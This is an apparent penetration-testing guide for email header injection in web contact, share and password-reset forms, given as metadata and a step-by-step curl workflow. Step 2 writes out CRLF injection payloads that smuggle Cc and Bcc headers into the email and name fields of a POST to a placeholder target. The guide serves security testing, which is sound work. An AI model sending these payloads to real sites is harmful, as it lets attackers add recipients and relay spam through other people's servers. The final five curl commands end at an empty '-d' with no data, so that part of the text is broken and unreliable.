testing-for-email-header-injection

name	testing-for-email-header-injection
description	Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.
domain	cybersecurity
subdomain	web-application-security
tags	["email-injection","smtp-injection","crlf-injection","header-injection","spam-relay","contact-form","email-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]

Testing for Email Header Injection

When to Use

• When testing contact forms, feedback forms, or "email a friend" functionality
• During assessment of password reset email functionality
• When testing newsletter subscription or notification email systems
• During penetration testing of applications that send emails based on user input
• When auditing email-related API endpoints for header injection

Prerequisites

• Burp Suite for intercepting and modifying HTTP requests
• Understanding of SMTP protocol and email header structure
• Knowledge of CRLF injection techniques (\r\n sequences)
• Test email accounts for receiving injected emails
• Access to application features that trigger email sending
• SMTP server logs access for monitoring injection attempts

Workflow

Step 1 — Identify Email Injection Points

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&email=[e-mail]&subject=Hello&message=Test message"

Step 2 — Test for CRLF Header Injection

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&email=[e-mail]%0ACc:[e-mail]&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&email=[e-mail]%0ABcc:[e-mail]&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:[e-mail]&email=[e-mail]&message=Test"


curl -X POST http://target.com/contact \
  -d 



curl -X POST http://target.com/contact \
  -d 


curl -X POST http://target.com/contact \
  -d 


curl -X POST http://target.com/contact \
  -d 


curl -X POST http://target.com/contact \
  -d